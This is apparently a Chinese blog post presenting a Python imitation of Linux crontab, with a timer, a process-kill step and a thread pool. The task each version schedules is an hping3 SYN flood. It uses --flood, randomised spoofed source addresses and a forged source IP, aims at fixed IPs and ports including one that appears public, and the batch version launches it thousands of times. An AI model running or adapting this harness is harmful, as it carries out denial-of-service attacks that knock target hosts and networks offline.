Python模拟Linux的Crontab, 写个任务计划需求
来具体点
需求: 执行一个程序, 程序一直是运行状态, 这里假设是一个函数 当程序运行30s的时候, 需要终止程序, 可以用python, c, c++语言实现 扩展需求: 当1分钟以后, 需要重新启动程序
def process_2():
# 时间几点执行
# 执行process_1
# 开始监听--计时
# 当时间超过多少s以后, 强制结束
#(注意进程里面的任务执行进程是否还存在, 举个例子, 进程的任务是在创建一个进程, 那强制结束的是任务的进程, 而你创建的进程呢?)
pass
#!/usr/bin/env python # -*- coding=utf-8 -*- import sys, time, multiprocessing, datetime, os # -----<自定义Error>----- # class MyCustomError(Exception): def __init__(self, msg=None, retcode=4999): self.retcode = int(retcode) try: if not msg: msg = "Setting time is less than the current time Error. " except: msg = "Unknown Error!!!" Exception.__init__(self, self.retcode, msg) # -----<格式化时间变成时间戳>----- # class FormatDatetime(): ''' Use method: FormatDatetime.become_timestamp("2018-08-21 13:19:00") ''' @staticmethod def become_timestamp(dtdt): # 将时间类型转换成时间戳 if isinstance(dtdt, datetime.datetime): timestamp = time.mktime(dtdt.timetuple()) return timestamp elif isinstance(dtdt, str): if dtdt.split(" ")[1:]: a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d %H:%M:%S") timestamp = time.mktime(a_datetime.timetuple()) else: a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d") timestamp = time.mktime(a_datetime.timetuple()) return timestamp elif isinstance(dtdt, float): return dtdt # -----<计时器>----- # def timer(arg): ''' use method: timer(14) :param arg: 倒计时时间 :return: True ''' # 倒计时时间 back_time = arg while back_time != 0: sys.stdout.write(' ') ##意思是打印在清空 back_time -= 1 sys.stdout.write("%s" % (int(back_time))) sys.stdout.flush() time.sleep(1) return True # -----<自定义任务函数>----- # class Tasks: @staticmethod def start(): ip1 = "42.93.48.16" ip2 = "192.168.2.141" adjure = """hping3 -c 100000 -d 120 -S -w 64 -p 57511 -a 10.10.10.10 --flood --rand-source {}""".format(ip2) os.system(adjure) @staticmethod def stop(): adjure = """netstat -anpo | grep hping3 | awk -F "[ /]+" '{print $7}' | xargs -i -t kill -9 {}""" os.system(adjure) # -----<任务函数>----- # def slow_worker(): ''' 你的自定义任务, 需要执行的代码 :return: ''' print('Starting worker') time.sleep(0.1) print('Finished worker') Tasks.start() # -----<任务计划执行时间>----- # def crontab_time(custom_time): # custom_time = "2018-08-21 13:44:00" date_time = FormatDatetime.become_timestamp(custom_time) now_time = time.time() # 余数, 有小数 remainder_data = int(date_time - now_time) if remainder_data < 0: raise MyCustomError else: while remainder_data > 0: remainder_data -= 1 time.sleep(1) return True # -----<执行函数>----- # def my_crontab(custom_time='', frequency=1, countdown=0): ''' 几点几分执行任务 此函数属于业务逻辑, 可以考虑再次封装 custom_time = "2018-08-21 13:19:00" 时间格式必须是这样 frequency = 1 # 频次 countdown = 0 # 倒计时多少s :return: ''' if custom_time: crontab_time_status = crontab_time(custom_time) if crontab_time_status: for i in range(frequency): p = multiprocessing.Process(target=slow_worker) p.start() if countdown: status = timer(countdown) if status: p.terminate() Tasks.stop() else: for i in range(frequency): p = multiprocessing.Process(target=slow_worker) p.start() if countdown: status = timer(countdown) if status: p.terminate() Tasks.stop() if __name__ == '__main__': my_crontab(frequency=1, countdown=50)
如果是批量的呢?
#!/usr/bin/env python # -*- coding=utf-8 -*- import queue import threading import contextlib import sys, time, multiprocessing, datetime, os # -----<自定义Error>----- # class MyCustomError(Exception): def __init__(self, msg=None, retcode=4999): self.retcode = int(retcode) try: if not msg: msg = "Setting time is less than the current time Error. " except: msg = "Unknown Error!!!" Exception.__init__(self, self.retcode, msg) # -----<格式化时间变成时间戳>----- # class FormatDatetime(): ''' Use method: FormatDatetime.become_timestamp("2018-08-21 13:19:00") ''' @staticmethod def become_timestamp(dtdt): # 将时间类型转换成时间戳 if isinstance(dtdt, datetime.datetime): timestamp = time.mktime(dtdt.timetuple()) return timestamp elif isinstance(dtdt, str): if dtdt.split(" ")[1:]: a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d %H:%M:%S") timestamp = time.mktime(a_datetime.timetuple()) else: a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d") timestamp = time.mktime(a_datetime.timetuple()) return timestamp elif isinstance(dtdt, float): return dtdt # -----<计时器>----- # def timer(arg): ''' use method: timer(14) :param arg: 倒计时时间 :return: True ''' # 倒计时时间 back_time = arg while back_time != 0: sys.stdout.write(' ') ##意思是打印在清空 back_time -= 1 sys.stdout.write("%s" % (int(back_time))) sys.stdout.flush() time.sleep(1) return True # -----<自定义任务函数>----- # class Tasks: @staticmethod def start(): ip1 = "42.93.48.16" ip2 = "192.168.2.141" # 57511 ip3 = "192.168.2.147" # 8082 adjure = """hping3 -c 100000 -d 120 -S -w 64 -p 57511 -a 10.10.10.10 --flood --rand-source {}""".format(ip2) os.system(adjure) @staticmethod def stop(): adjure = """netstat -anpo | grep hping3 | awk -F "[ /]+" '{print $7}' | xargs -i -t kill -9 {}""" os.system(adjure) # -----<任务函数>----- # def slow_worker(): ''' 你的自定义任务, 需要执行的代码 :return: ''' print('Starting worker') time.sleep(0.1) print('Finished worker') Tasks.start() # -----<任务计划执行时间>----- # def crontab_time(custom_time): # custom_time = "2018-08-21 13:44:00" date_time = FormatDatetime.become_timestamp(custom_time) now_time = time.time() # 余数, 有小数 remainder_data = int(date_time - now_time) if remainder_data < 0: raise MyCustomError else: while remainder_data > 0: remainder_data -= 1 time.sleep(1) return True # -----<执行函数>----- # def my_crontab(custom_time='', frequency=1, countdown=20): ''' 几点几分执行任务 此函数属于业务逻辑, 可以考虑再次封装 custom_time = "2018-08-21 13:19:00" 时间格式必须是这样 frequency = 1 # 频次 countdown = 0 # 倒计时多少s :return: ''' if custom_time: crontab_time_status = crontab_time(custom_time) if crontab_time_status: for i in range(frequency): p = multiprocessing.Process(target=slow_worker) p.start() if countdown: status = timer(countdown) if status: p.terminate() Tasks.stop() else: for i in range(frequency): p = multiprocessing.Process(target=slow_worker) p.start() if countdown: status = timer(countdown) if status: p.terminate() Tasks.stop() StopEvent = object() # -----<线程池>----- # class ThreadPool(object): def __init__(self, max_num): self.q = queue.Queue() self.max_num = max_num self.terminal = False self.generate_list = [] self.free_list = [] def run(self, func, args, callback=None): """ 线程池执行一个任务 :param func: 任务函数 :param args: 任务函数所需参数 :param callback: 任务执行失败或成功后执行的回调函数,回调函数有两个参数1、任务函数执行状态;2、任务函数返回值(默认为None,即:不执行回调函数) :return: 如果线程池已经终止,则返回True否则None """ if len(self.free_list) == 0 and len(self.generate_list) < self.max_num: self.generate_thread() w = (func, args, callback,) self.q.put(w) def generate_thread(self): """ 创建一个线程 """ t = threading.Thread(target=self.call) t.start() @contextlib.contextmanager def worker_state(self, xxx, val): xxx.append(val) try: yield finally: xxx.remove(val) def call(self): """ 循环去获取任务函数并执行任务函数 """ current_thread = threading.currentThread self.generate_list.append(current_thread) event = self.q.get() while event != StopEvent: func, arguments, callback = event try: result = func(*arguments) status = True except Exception as e: status = False result = e if callback is not None: try: callback(status, result) except Exception as e: pass if self.terminal: # False event = StopEvent else: # self.free_list.append(current_thread) # event = self.q.get() # self.free_list.remove(current_thread) with self.worker_state(self.free_list, current_thread): event = self.q.get() else: self.generate_list.remove(current_thread) def close(self): num = len(self.generate_list) while num: self.q.put(StopEvent) num -= 1 # 终止线程(清空队列) def terminate(self): self.terminal = True while self.generate_list: self.q.put(StopEvent) self.q.empty() if __name__ == '__main__': pool = ThreadPool(20) for item in range(200): pool.run(func=my_crontab, args=('', 1, 20)) pool.terminate()
#!/usr/bin/env python # -*- coding=utf-8 -*- import queue import threading import contextlib import sys, time, multiprocessing, datetime, os # -----<自定义Error>----- # class MyCustomError(Exception): def __init__(self, msg=None, retcode=4999): self.retcode = int(retcode) try: if not msg: msg = "Setting time is less than the current time Error. " except: msg = "Unknown Error!!!" Exception.__init__(self, self.retcode, msg) # -----<格式化时间变成时间戳>----- # class FormatDatetime(): ''' Use method: FormatDatetime.become_timestamp("2018-08-21 13:19:00") ''' @staticmethod def become_timestamp(dtdt): # 将时间类型转换成时间戳 if isinstance(dtdt, datetime.datetime): timestamp = time.mktime(dtdt.timetuple()) return timestamp elif isinstance(dtdt, str): if dtdt.split(" ")[1:]: a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d %H:%M:%S") timestamp = time.mktime(a_datetime.timetuple()) else: a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d") timestamp = time.mktime(a_datetime.timetuple()) return timestamp elif isinstance(dtdt, float): return dtdt # -----<计时器>----- # def timer(arg): ''' use method: timer(14) :param arg: 倒计时时间 :return: True ''' # 倒计时时间 back_time = arg while back_time != 0: sys.stdout.write(' ') ##意思是打印在清空 back_time -= 1 sys.stdout.write("%s" % (int(back_time))) sys.stdout.flush() time.sleep(1) return True # -----<自定义任务函数>----- # class Tasks: @staticmethod def start(): ip1 = "42.93.48.16" # 8008,8088 ip2 = "192.168.2.141" # 57511 ip3 = "192.168.2.147" # 8082 adjure2 = """hping3 -c 500000 -d 120 -S -w 64 -p 57511 -a 10.10.10.10 --flood --rand-source {}""".format(ip2) adjure3 = """hping3 -c 500000 -d 120 -S -w 64 -p 8072 -a 10.10.10.10 --flood --rand-source {}""".format(ip3) adjure1 = """hping3 -c 500000 -d 120 -S -w 64 -p 8082 -a 10.10.10.10 --flood --rand-source {}""".format(ip1) os.system(adjure2) @staticmethod def stop(): adjure = """netstat -anpo | grep hping3 | awk -F "[ /]+" '{print $7}' | xargs -i -t kill -9 {}""" os.system(adjure) # -----<任务函数>----- # def slow_worker(): ''' 你的自定义任务, 需要执行的代码 :return: ''' print('Starting worker') time.sleep(0.1) print('Finished worker') Tasks.start() # -----<任务计划执行时间>----- # def crontab_time(custom_time): # custom_time = "2018-08-21 13:44:00" date_time = FormatDatetime.become_timestamp(custom_time) now_time = time.time() # 余数, 有小数 remainder_data = int(date_time - now_time) if remainder_data < 0: raise MyCustomError else: while remainder_data > 0: remainder_data -= 1 time.sleep(1) return True # -----<执行函数>----- # def my_crontab(custom_time='', frequency=1, countdown=20): ''' 几点几分执行任务 此函数属于业务逻辑, 可以考虑再次封装 custom_time = "2018-08-21 13:19:00" 时间格式必须是这样 frequency = 1 # 频次 countdown = 0 # 倒计时多少s :return: ''' if custom_time: crontab_time_status = crontab_time(custom_time) if crontab_time_status: for i in range(frequency): p = multiprocessing.Process(target=slow_worker) p.start() if countdown: status = timer(countdown) if status: p.terminate() Tasks.stop() else: for i in range(frequency): p = multiprocessing.Process(target=slow_worker) p.start() if countdown: status = timer(countdown) if status: p.terminate() Tasks.stop() StopEvent = object() # -----<线程池>----- # class ThreadPool(object): def __init__(self, max_num): self.q = queue.Queue() self.max_num = max_num self.terminal = False self.generate_list = [] self.free_list = [] def run(self, func, args, callback=None): """ 线程池执行一个任务 :param func: 任务函数 :param args: 任务函数所需参数 :param callback: 任务执行失败或成功后执行的回调函数,回调函数有两个参数1、任务函数执行状态;2、任务函数返回值(默认为None,即:不执行回调函数) :return: 如果线程池已经终止,则返回True否则None """ if len(self.free_list) == 0 and len(self.generate_list) < self.max_num: self.generate_thread() w = (func, args, callback,) self.q.put(w) def generate_thread(self): """ 创建一个线程 """ t = threading.Thread(target=self.call) t.start() @contextlib.contextmanager def worker_state(self, xxx, val): xxx.append(val) try: yield finally: xxx.remove(val) def call(self): """ 循环去获取任务函数并执行任务函数 """ current_thread = threading.currentThread self.generate_list.append(current_thread) event = self.q.get() while event != StopEvent: func, arguments, callback = event try: result = func(*arguments) status = True except Exception as e: status = False result = e if callback is not None: try: callback(status, result) except Exception as e: pass if self.terminal: # False event = StopEvent else: # self.free_list.append(current_thread) # event = self.q.get() # self.free_list.remove(current_thread) with self.worker_state(self.free_list, current_thread): event = self.q.get() else: self.generate_list.remove(current_thread) def close(self): num = len(self.generate_list) while num: self.q.put(StopEvent) num -= 1 # 终止线程(清空队列) def terminate(self): self.terminal = True while self.generate_list: self.q.put(StopEvent) self.q.empty() if __name__ == '__main__': pool = ThreadPool(10) for i in range(1, 100): for item in range(3000): pool.run(func=my_crontab, args=('', 1, 60)) time.sleep(5 * 0.5) pool.terminate() os.system("ps -aux | grep aa.py |grep -v grep | awk '{print $2}' | xargs -i -t kill -9 {}")